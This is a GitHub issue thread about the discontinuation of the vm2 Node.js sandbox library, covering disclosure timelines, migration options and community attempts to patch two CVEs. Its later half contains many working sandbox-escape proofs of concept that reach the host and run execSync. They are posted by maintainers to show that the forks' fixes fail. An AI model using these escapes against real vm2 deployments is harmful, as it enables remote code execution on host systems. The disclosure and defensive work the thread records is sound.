Discontinued

[XmiliaH]

Discontinued

[Uzlopak]

Well. It should be atleast be motivated that there is a potential migration guide to the recommended module. Doesnt mean that the maintainers should do it but maybe somebody who uses vm2 and does the migration can atleast provide a PR with a migration guide.

I personally dont use vm2 right now. But i saw in the security risk overview of our enterprise that it is popping up. I told my coworkers that vm2 is notorious for critical security issues because there is always an asian dev, who finds some way to break out of the sandbox, just to visit the npm page and see that vm2 got deprecated.

[patriksimek]

Advisories have been published, and the library has been deprecated. We agreed with @leesh3288 to disclose the PoC after 28 days from today to give teams time to migrate their projects.

I am re-posting here what I put into the README.

---

Dear community,

It's been a truly remarkable journey for me since the vm2 project started nine years ago. The original intent was to devise a method for running untrusted code in Node, with a keen focus on maintaining in-process performance. Proxies, an emerging feature in JavaScript at that time, became our tool of choice for this task.

From the get-go, we recognized the arduous task that lay ahead, as we tried to safeguard against the myriad of escape scenarios JavaScript presented. However, the thrill of the chase kept us going, hopeful that we could overcome these hurdles.

Through the years, this project has seen numerous contributions from passionate individuals. I wish to extend my deepest gratitude to all of you. Special thanks go to @XmiliaH, whose unwavering dedication in maintaining and improving this library over the last 4 years was instrumental to its sustained relevance.

Unfortunately, the growing complexity of Node has brought us to a crossroads. We now find ourselves facing an escape so complicated that fixing it seems impossible. And this isn't about one isolated issue. Recent reports have highlighted that sustaining this project in its current form is not viable in the long term.

Therefore, we must announce the discontinuation of this project.

You may wonder, "What now?"

While this may seem like an end, I see it as an opportunity for you to transition your projects and adapt to a new solution. We would recommend migrating your code to the isolated-vm, a library which employs a slightly different, yet equally effective, approach to sandboxing untrusted code.

Thank you all for your support and understanding during this journey.

Warm Regards,
Patrik Simek

[Uzlopak]

Well. Couldnt you atleast consider providing a api compatible wrapper around isolated-vm? Then migrating would maybe easier and faster, for now.

[leesh3288]

@AppSecSeanner The linked RCE in isolated-vm is only applicable when untrusted v8 cache data is passed through CachedDataOptions which is known to be exploitable. Unless you are either exposing isolated-vm into untrusted code or passing untrusted value into CachedDataOptions, as far as I understand the documentation it is meant to be safe. Spotify Backstage is one example that switched from vm2 to isolated-vm as mentioned in their blog, where the devs mention this issue: backstage/backstage#18315 (comment)

As for the responsible disclosure timeline, I have reported this issue in May 23, 2023 to vm2 maintainers. Maintainers and I have looked into this issue but have found no satisfactory solution, and ultimately decided to phase out the library. Specific disclosure timelines on my side has not been explicitly communicated in advance as the maintainers were very prompt and clear with their responses, and I did not feel the need for a specific disclosure policy.

The library has now been officially deprecated, and we are preparing security advisories for the issues. The problem here is that publishing public advisories (CVEs) for the bug ASAP is usually good practice, but in this case I believe that even without an explicit PoC given the description itself is sufficient to write one. We are communicating to roll out an advisory while dealing with this issue but currently do not have fixed deadlines.

[itamarsher]

Thank you, @leesh3288, for your security finding and @patriksimek and the rest of the maintainers for your continuous contribution to open source.
My name is Itamar Sher, and I'm a co-founder at Seal Security, a stealth-mode startup that aims to help our users mitigate the risk of open source vulnerabilities.
We are working on an open source repository of security hotfixes that'll help mitigate the risk from known vulnerabilities without forcing you to update or replace your vulnerable dependencies.
As the library is deprecated, we'd love to help develop a security hotfix and release it to the community to enable a smoother transition to other alternatives. We realize this might be challenging due to the complexity of the fix, but we still wish to try.
I'm happy to communicate with you directly to push this through before the public disclosure.

[danlupascu]

Most of the new vulnerabilities are cause by node intercepting calls that should be handeled in native code which can be used to break out of the sandbox and I guess it was not found earlier since no one here looked into these cases.

This is crazy, I would think that this is something that the maintainers would look into since it's obviously very important - so important that it just washes away years of work from the maintainers, as well as everyone else that integrated this package into their projects.

[XmiliaH]

Xion (SeungHyun Lee) of KAIST Hacking Lab found the vulnerabilities I am not able to fix without changing the whole sandboxing strategy. So there are currently non-published escape vulnerabilities that affects everyone who uses this library to run untrusted code. I do not know if and when they intend to make the vulerability public.

[McSheldon]

Sorry to hear that @XmiliaH @patriksimek
As a library user, where can we find more info on this & test if our app is impacted?
Is the vulnerability disclosed publicly? If you have more update please share here or privately to [email protected]

The migration to isolated-vm won't be a drop in replacement unfortunately.

[patriksimek]

@XmiliaH I will take care of that tomorrow, along with some more messaging.

[restyler]

VM2 authors and contributors, thank you for all your hard work; the scope of the task was immense. Despite acknowledging that the entire VM2 approach resembles patching a leaking bucket with unpredictable number of holes, I nevertheless appreciate the simplicity and flexibility of the VM2 API. I've shared some information about VM2 and isolated-vm in my blog post, Running untrusted JavaScript in Node.js

Like many other users of this library, I am exploring possible migration paths (considering the heavier containerization ones). Here is my perspective: CloudFlare employs Node.js Isolates to run CloudFlare Workers - the same technology that isolated-vm uses. Here is their open-source implementation: workerd - as far as I understand, each workerd process is designed to run for a long time and have callbacks inside.

as they'd have to recreate a full module-support (require), and possibly a bunch of node.js specific APIs, as V8 isolates don't have any node.js specific APIs.

Cloudflare Workers can't import 3rd party packages, as well, so CloudFlare support suggests to use bundlers to embed js code of the external package into the worker code

Cloudflare has recently deployed Node.js lib compatibility for workerd (blog post)

Amazon uses Firecracker to run AWS Lambda functions.
Firecracker seems to be a middle ground between running a Docker container and launching a V8 Isolate in terms of overhead and startup performance - from my understanding, in terms of startup time, Firecracker VMs are much faster than Docker, but obviously slower than launching Node.js Isolates (I plan to do some benchmarks if I have time for this)

Great Fly.io post on all the modern options to isolate the code execution:
https://fly.io/blog/sandboxing-and-workload-isolation/

Fly.io also uses Firecracker to isolate the untrusted code.

[mklinke]

FWIW, I've done a migration from vm2 to isolated-vm and the most useful information I found came from this comment and the linked code. Basically, you need to think about which code executes where and how the data (ie. method arguments, return values) is transferred. And whether you need promises or not etc.

HTH someone else a little bit with their migration or at least to gain confidence that a migration is feasible in principle.

[XmiliaH]

The problems that piled up are caused by node intercepting calls from the sandbox and therefore arguments not being wrapped in a Proxy. As isolated-vm does create the sandbox on their own and does not rely on the vm module there shouldn't be hooks added by node that causes such issues.

[XmiliaH]

I cannot create security advisories, so I cannot publish a CVE. However, I might be able to deprecate the library on npm but would prefer @patriksimek to do both.

[netroy]

@Uzlopak While that would be really nice, considering this project's license, the project maintainers aren't liable to provide us with a migration path.

not to mention that it would be not easy to create a fully-compatible wrapper on top of isolated-vm, as they'd have to recreate a full module-support (require), and possibly a bunch of node.js specific APIs, as V8 isolates don't have any node.js specific APIs.

It might be better to look at how you were using vm2, and if you don't have a need for module-support, it might make sense to migrate your application directly, instead of creating an unnecessary abstraction.
If you need some small set of modules like crypto or fetch, it might be possible to create shims using pure JS implementations instead.

[patriksimek]

As discussed with @leesh3288, we decided to postpone the disclosure for another 28 days to the 5th of September.

A tip from @leesh3288 as we also briefly touched on the problem of isolated-vm being a native dependency:

As an alternative for isolated-vm, a "pure" solution I have seen is TooTallNate/proxy-agents#224 which uses a whole QuickJS engine compiled into WASM to run insecure code inside it - this might be a feasible solution on some cases where native libraries are not desirable or just not working.

[S0obi]

The exploit has been published by @leesh3288 and can be found here : https://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd

[pierluigilenoci]

@S0obi there is a second one:
https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

[AdmWalker]

@heberallred I believe that is the main problem the escape allows for many different opportunities and while you could shut down access to key methods this would be highly opinionated and that would go against the general purpose of this library and from that I understand the reason for being discontinued.

As with yourself we already execute the VM in a more restrictive process that has additional isolations but still it isn't ideal so applying these extra restrictions in the code. Before this came to light we were looking at using a preprocessor to prevent code we don't want.

[Uzlopak]

Yeah, i got alot of hate for my comment for a migration guide or a thin layer wrapper.

I also checked the shameless advertisement of @restyler for his useless blog post. Nothing of relevance there for migrating from vm2 to isolated-vm.

People need now a migration guide. As @dannyhaak wrote: The isolated-vm is not documented properly.

I dont say, that the maintainers of this module should provide one. I say, they should atleast encourage someone who is migrating to create a simple migration.md and provide it as a PR. Doesnt need to be complete. But other devs, who want to migrate and think that something is missing in the migration.md should also encouraged to add more content to the migration.md.

Again: People need a migration guide.

I would do it myself, but I have no time for a deep dive into vm2 api and isolated-vm api.

[weareu]

Let me explain exactly what I did.

Proxy -> LocalError type. This does allow to refactor all LocalError/Error define property overrides and simplify in future but for now I kept the change limited and clean without major refactoring, this pulls error through safe handling. Like I said, destroys native error, so this may be an issue, but this should future proof against other error issues. There may be more error props that need to be supported.
Proxy -> Symbol type. This intercepts inspect and species related symbol calls.

Added two new unit tests 'promise attack' and 'inspect attack'.

@leesh3288 any ideas as to why this approach will not work and what I've missed.

weareu@017f73b#diff-f7e32c78b248c2f91cb64d680f7ae71878ca3038f33daf52ff24c8a26a09848a

[XmiliaH]

@dannyhaak None of the forks which tried to fix these issues did it correctly. All of them are still vulnerable to some sort of breakout. If it would be that easy we whouldn't have discontinued this library.

[weareu]

Thanks @leesh3288 appreciate the time. I agree with the assessment however there is no such thing as a security guarantee, but I'm sure you can tell us a lot about that.

I've addressed the includes override.

I agree that it would be great to find a solution, but we have years vested in terms of use, debugging features, code editing etc etc in VM2 in our solutions as tools of tools etc, finding alternative debugging methods (proxies etc) to use with other tools and secure that properly will take time. For now we absolutely have to patch vm2 on our side, like I said, speed is also a major problem for us with other methods with the drudged memory process bridge (so much so that it just destroys some capability we have), whilst I'm happy to find alternative ways, it will take a long time for us to rewrite a ton of infrastructure that really has been growing into vm2 for a long time.

Lucky for us, we are not yet on a node version where this is critical, but for now I want to assist in patching critical systems to give the time (be that years) for systems with deep dependancies in VM2.

[netroy]

Here is how I tackled these two CVEs:

For CVE-2023-37903:

We added this to the start of our application, to disable all custom inspection.

require('util').inspect.defaultOptions.customInspect = false;

If your application allows requiring util inside the sandbox, this "fix" does not work, as the flag can easily be flipped.
If your application needs custom inspection, this solution also won't work you.

For CVE-2023-37466:

We patched the sandbox in our fork to never allow a custom .constructor[Symbol.species].
This "fix" might not work for everyone, as it might break some packages if they were using Symbol.species to customize promises.

Overall, I don't recommend either of the "fixes" as a long term solution for anyone. But if you are under pressure to fix these, and can't easily migrate to isolated-vm, these could be an acceptable stop-gap solution.

[XmiliaH]

@netroy The new version still has bypasses:

const {VM} = require("vm2");

require('util').inspect.defaultOptions.customInspect = false;

const vm = new VM();

const code = `
async function fn() {
    (function stack() {
		new Error().stack;
		stack();
    })();
}

p = fn();
let first = true;
p.constructor = new Proxy({}, {get(t,k,r){if(first){first=false;return Promise;}return class FakePromise {
	constructor(executor) {
		executor(
			(x) => x,
			(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
		)
	}
}}});
p.then();
`;

vm.run(code);

and

const {VM} = require("vm2");

require('util').inspect.defaultOptions.customInspect = false;

const vm = new VM();

const code = `
Object.defineProperty(Promise, Symbol.hasInstance, {value: ()=>false});

async function fn() {
    (function stack() {
		new Error().stack;
		stack();
    })();
}

p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
};
p.then();
`;

vm.run(code);

and

const {VM} = require("vm2");

require('util').inspect.defaultOptions.customInspect = false;

const vm = new VM();

const code = `
async function fn() {
    (function stack() {
		new Error().stack;
		stack();
    })();
}

p = fn();
Object.setPrototypeOf(p, {then: Promise.prototype.then});
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
};
p.then();
`;

vm.run(code);

[XmiliaH]

@netroy I think you are running in a circle, the original PoC now works again.

const {VM} = require("vm2");

require('util').inspect.defaultOptions.customInspect = false;

const vm = new VM();

const code = `
async function fn() {
    (function stack() {
		new Error().stack;
		stack();
    })();
}

p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
};
p.then();
`;

vm.run(code);

[XmiliaH]

I would love to look into all the details of node and v8, but I only have so much time.
And in retrospect it is always easy to tell were one should have looked but when you have a whole code base it is not.

[AppSecSeanner]

@XmiliaH can you disclose if there are any non-published escape vulnerabilities against VM2? Did someone disclose a sandbox escape thats too hard to fix with current architecture? It would be helpful to know if we can expect someone to publish a PoC or CVE soon since this was announced.

[AppSecSeanner]

Thank you for the quick reply @XmiliaH - This is very helpful information. It is unfortunate that you can not address them but understandable.

This is a lot to ask but do you know if isolated-vm would be likely vulnerable to similar vulnerabilities?

[leesh3288]

Xion (SeungHyun Lee) of KAIST Hacking Lab found the vulnerabilities I am not able to fix without changing the whole sandboxing strategy. So there are currently non-published escape vulnerabilities that affects everyone who uses this library to run untrusted code. I do not know if and when they intend to make the vulerability public.

I am willing to disclose the specifics including PoC sooner than later, but we would either need to publish a CVE or deprecate the library on npm in advance (preferrably both for clarity) so that scanners/alerts like npm audit or Synk catches it.

[AppSecSeanner]

Thanks @patriksimek and @XmiliaH - I see there is an unpatched RCE CVE for isolated-vm. It may not be a viable option for the community to move to. Are you aware of any other sandboxing alternatives?

Since no VM2 patch will be possible, has KAIST Hacking Lab communicated any responsible disclosure timeline? Like 90 days or similar to give the community time to move to another solution?

[AppSecSeanner]

Thank you @leesh3288 - This is very helpful information and I appreciate the transparency. I am not familiar with isolated-vm but what you shared makes sense, it looks like CachedDataOptions just exposes ExternalCopy some way.

Thank you also for sharing the backstage blog and related information, this will be helpful to address concerns for anyone else in the community using Snyk.

[dannyhaak]

All, thanks as well for all the hard work and the great tool that was/is vm2. It seems that isolated-vm is a lot less well documented (and used) compared to vm2. We use vm2 to run 'integration' scripts that can be customised by end-users to get data from web services, make an Excel file and e-mail it out, to simple data transformation, etc. Running those scripts without 3rd party libraries would be a pain. I tried bundling libraries with a script, and then executing them, but to no avail - and then you also run the risk of bundling 'too much' - creating your own risks.

Is there really no alternative other than running your own firecracker instance - which seems a lot more high-maintenance compared to using vm2?

[j4k0xb]

I tried quickjs-emscripten before but its unfortunately much slower than vm2/isolated-vm... e.g. looping 10 million times: 30ms vs 2.6s

this might be a feasible solution on some cases where native libraries are not desirable

The latest isolated-vm release uses precompiled binaries now, should be less of an installation hassle for users (especially windows which often doesn't have a compiler toolchain and python)

[mirekphd]

do not know if and when they intend to make the vulnerability public.

According to the GitHub Advisory Database PoC for both will be disclosed "on or after the 5th of September [2023]".

Here's the source of this info:
GHSA-g644-9gfx-q4q4
GHSA-cchq-frgv-rjh5

[zhennann]

Maybe rewrite Symbol in sandbox:
https://github.com/zhennann/egg-born-utils/blob/master/lib/common/tools.js

const sandbox = Object.assign({}, scope, {
      Symbol: {
        toStringTag: Symbol.toStringTag,
        for: key => {
          if (['nodejs.util.inspect.custom', 'Symbol.species'].includes(key)) return null;
          return Symbol.for(key);
        },
      },
      process: null,
    });
    const vm = new NodeVM({
      console: 'inherit',
      sandbox,
      require: false,
      nesting: false,
      eval: false,
      wasm: false,
      wrapper,
    });

[weareu]

Proxying Error and Symbol is what I'll try to fix for now. This works in our use case but it does destroy the native error references which could cause issues for other implementations. We've tested isolated-vm, it also has minor issues and is way slower in comparison, not too sure why, so for us and for now continuing with vm2's approach is the best way forward although it may not be the best way for everyone or forever.

If this approach can not work @leesh3288 please point me to why, seems like most issues is a leaky Error object (and I'm sure there are more Symbol related hacks we'll need to test and cater for).

[dannyhaak]

@weareu Did you get any feedback on this? Are you planning to package your fix?

[dannyhaak]

Thanks for the clarification - clear. We're going to migrate to a combination of AWS Fargate/AWS Lambda for running these kind of scripts.

[leesh3288]

@weareu @dannyhaak I'm usually busy with other work, so please kindly understand if I can't reach back to comments. I checked the mitigations shortly and see some problem here, so here's a PoC:

const {VM} = require("vm2");
const vm = new VM();

const code = `
Array.prototype.includes = () => false;
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('echo pwned >&2');
    },
    valueOf: undefined,
    constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

This bypasses the safeSymbolHandler mitigation - the array should be initialized in advance, and it should not use [...].includes which might have already been modified. These "mitigations" are quite hard, if not impossible, to implement correctly so I strongly suggest to move on to other solutions that has some kind of sane security guarantees.

[XmiliaH]

@weareu There are still more issues:

const {VM} = require("vm2");

const bugs = [
	// You can get the inspect symbol from the buffer prototype
	`const customInspectSymbol = Object.getOwnPropertySymbols(Buffer.prototype)[0];`,

	// You can pass in an object that later gets converted to a string in Symbol.for after the check
	`const customInspectSymbol = Symbol.for({toString: ()=>'nodejs.util.inspect.custom'});`,

	// You can override the Reflect.get function to get the real Symbol object
	`let realSymbol;
	const rg = Reflect.get;
	Reflect.get = (t, p, r) => {
		realSymbol = t;
		Reflect.get = rg;
	};
	Symbol.for;
	const customInspectSymbol = realSymbol.for('nodejs.util.inspect.custom');`,

	// You can override the array iterator which is called in symbol(...opts)
	`const orig_iterator = Array.prototype[Symbol.iterator];
	Array.prototype[Symbol.iterator] = function() {
		this[0] = 'nodejs.util.inspect.custom';
		Array.prototype[Symbol.iterator] = orig_iterator;
		return this[Symbol.iterator]();
	}
	const customInspectSymbol = Symbol.for('');`
];

for (const bug of bugs) {

	const vm = new VM();

	const code = `
	${bug}

	obj = {
		[customInspectSymbol]: (depth, opt, inspect) => {
			inspect.constructor('return process')().mainModule.require('child_process').execSync('echo pwned >&2');
		},
		valueOf: undefined,
		constructor: undefined,
	};

	WebAssembly.compileStreaming(obj).catch(()=>{});
	`;

	vm.run(code);
}

And CVE-2023-37466 is not fixed at all:

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    function stack(num) {
		if (num > 0) {
			stack(num-1);
		} else {
			new Error().stack;
		}
    };
	for(let i = 0;;i++) {
		try {
			stack(i);
		} catch (e) {
			stack(i+6);
		}
	}
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
};
p.then();
`;

vm.run(code);

The range error was generated in the proxy for the error, but it is still possible to get a range error from the host.

And here is another one for the first issue:

const {VM} = require("vm2");
const vm = new VM();

const code = `
obj = new Proxy(new Proxy({}, {
	get(target, key, receiver) {
		if (typeof key === 'symbol') {
			return (depth, opt, inspect) => {
				inspect.constructor('return process')().mainModule.require('child_process').execSync('echo pwned >&2');
			};
		}
		return undefined;
	}
}), {});

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

[XmiliaH]

@netroy Like I said, no fork fixed the issues correctly. The following code can be used to break out with your fixes:

const {VM} = require("vm2");
const vm = new VM();

const code = `
Promise = class{};

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
};
p.then();
`;

vm.run(code);

and

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
		new Error().stack;
		stack();
    })();
}

p = fn();
p.constructor = new Proxy({
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
}, {defineProperty(){return true;}});
p.then();
`;

vm.run(code);

[netroy]

@XmiliaH Thanks for those examples.
I've updated our fork to

1. use a global Promise reference, to avoid using the locally overwritten Promise.
2. throw an error CVE-2023-37466 is detected, since Object.defineProperty isn't really going to do anything on a Proxy. Another option could be to block usage of Proxy in the sandbox, but that seems like it could be a breaking change. not to mention there are probably ways to circumvent that.

with these two changes, the code you shared doesn't echo pwnd anymore.

[XmiliaH]

@activeledger Here is one for you:

const {VM} = require("vm2");

const vm = new VM();

const code = `
const o = Object()();
o.getPrototypeOf(o).constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2');
`;

vm.run(code);

[netroy]

and the game of whac-a-mole continues 😅

1. Removed Proxy from sandbox. This is definitely not a solution for everyone, but it works for us.
2. Use a frozen Promise class in the sandbox.

edit: just saw that you edited the last comment with another example using Object.setPrototypeOf. so, a game of whac-a-mole does indeed continue.

[AdmWalker]

@XmiliaH Thank you for that. I think like everyone else here we are in a fortunate position that we also have a controlled environment. In addition all our code runs through Typescript first and we are currently creating specific strict linter rules to hopefully aid the prevention of these escapes as well.

[XmiliaH]

@AdmWalker There are more:

const {VM} = require("vm2");

const vm = new VM();

const code = `
async function fn() {
    (function stack() {
		new Error().stack;
		stack();
    })();
}

p = fn();
p.constructor = {
    [Symbol()().species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo pwnd >&2'); }
            )
        }
    }
};
p.then();
`;

vm.run(code);

[XmiliaH]

And for all who are trying to fix the issues, here is a totally new one:

const {VM} = require("vm2");

const vm = new VM();

const code = `
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor('return process')().mainModule.require('child_process').execSync('echo pwned >&2');
`;

vm.run(code);

[heberallred]

In our case we are executing the untrusted code in a forked child process (then VM2 inside that) for additional isolation, and using IPC to communicate the result back to the main process. I notice these escapes are using "return process" as part of the escape. In our case we only use "process" for IPC back to the main Node process, and don't need it for anything else.

let processAlt = process;
process = undefined;

If we set process = undefined in the JS code executing VM2, does that patch the hole or is "process" just 1 of many possible variables that could be used to escape the sandbox with these methods?

Edit:
After further testing I realize that the "return process" could be any code executed in the main thread. We are still blocking it as an extra precaution and running the child process as a restricted user until we find better alternatives.

[alecgregory]

For my purposes I was able to transfer to endo for secure execution of untrusted code. Just referencing here in case it works for others.

[danlupascu]

@XmiliaH I'm just curious how come now you can easily find a bunch of security vulnerabilities that you couldn't find before? I mean there are years of work on this library, and no one could find these vulnerabilities before?

[XmiliaH]

I did not find a bunch of the vulnerabilities. I just fixed the ones reported. As for the last one I was able to find it after taking some time to check the fixes of other forks.

[danlupascu]

I thought you found them, but that's not important, I mean, how is it possible that they're all coming up now, after years of work?

[XmiliaH]

Most of the new vulnerabilities are cause by node intercepting calls that should be handeled in native code which can be used to break out of the sandbox and I guess it was not found earlier since no one here looked into these cases.

[netroy]

@XmiliaH is the topic of Sandboxing still interesting to you? have you had a look at https://github.com/tc39/proposal-ses ?

[XmiliaH]

I already looked at it some years ago.

[rklhui]

@XmiliaH Thanks for all the hard work on vm2.

I am an entire novice in terms of deep understandings of Javascript and the ECMAScript specification, I am wondering would it be a sound temporary patch if I disallow all the code with the string child_process or even execSync to run through vm2?

I know this does not fix anything regarding breakouts, but to the use case that I was working on, if the code contain these strings, someone must be doing something tricky and I have the total rights to block it.

[danlupascu]

@rklhui this wouldn't help, there are a lot of ways they can be called, like require('child' + '_' + 'process').

[Uzlopak]

What about monkey patching child_process?

Or just fork node repository and remove all the critical code you dont need.

[danlupascu]

That could work. We tried restricting the sandbox and having a very limited sandbox (only Array and Object) globals are available. We tested it against all the posted vulnerabilities, and none of them were breaking the sandbox anymore.

This works perfectly for our use case because we need to run some very basic code, so it's fine.

[rklhui]

@rklhui this wouldn't help, there are a lot of ways they can be called, like require('child' + '_' + 'process').

true, how about if I override the require behaviour by extending the behaviour of native Module._load before running the vm2, like how https://github.com/gajus/override-require is doing. Then I could throw an error when the it is requiring things like "child_process" and stop this malignant code execution. Will this be a sound approach?

[maxless]

That could work. We tried restricting the sandbox and having a very limited sandbox (only Array and Object) globals are available. We tested it against all the posted vulnerabilities, and none of them were breaking the sandbox anymore.

This works perfectly for our use case because we need to run some very basic code, so it's fine.

Is there a way to list all that's available? I've found that I have to manually check every class according to the NodeJS documentation.

[Uzlopak]

Probably you just need to patch lib/internal/process/pre_execution.js

[Jobians]

Recommend alternative
https://github.com/fulcrumapp/v8-sandbox/